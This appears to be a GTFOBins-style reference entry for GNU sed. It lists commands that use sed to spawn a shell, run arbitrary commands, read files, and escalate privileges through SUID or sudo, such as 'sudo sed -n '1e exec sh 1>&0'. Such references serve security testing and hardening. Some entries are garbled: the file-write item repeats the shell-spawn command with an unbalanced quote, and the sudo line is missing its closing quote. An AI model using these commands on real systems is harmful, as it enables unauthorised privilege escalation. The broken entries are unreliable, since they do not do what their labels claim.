27 lines
709 B
Markdown
27 lines
709 B
Markdown
---
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functions:
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shell:
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- description: GNU version only. Also, this requires `bash`.
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code: sed -n '1e exec sh 1>&0' /etc/hosts
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- description: GNU version only. The resulting shell is not a proper TTY shell.
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code: sed e
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command:
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- description: GNU version only.
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code: sed -n "1e id" /etc/hosts
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file-write:
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- code: |
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LFILE=file_to_write
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sed -n '1e exec sh 1>&0 /etc/hosts
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file-read:
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- code: |
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LFILE=file_to_read
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sed '' "$LFILE"
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suid:
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- code: |
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LFILE=file_to_read
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./sed -e '' "$LFILE"
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sudo:
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- description: GNU version only. Also, this requires `bash`.
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code: sudo sed -n '1e exec sh 1>&0 /etc/hosts
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---
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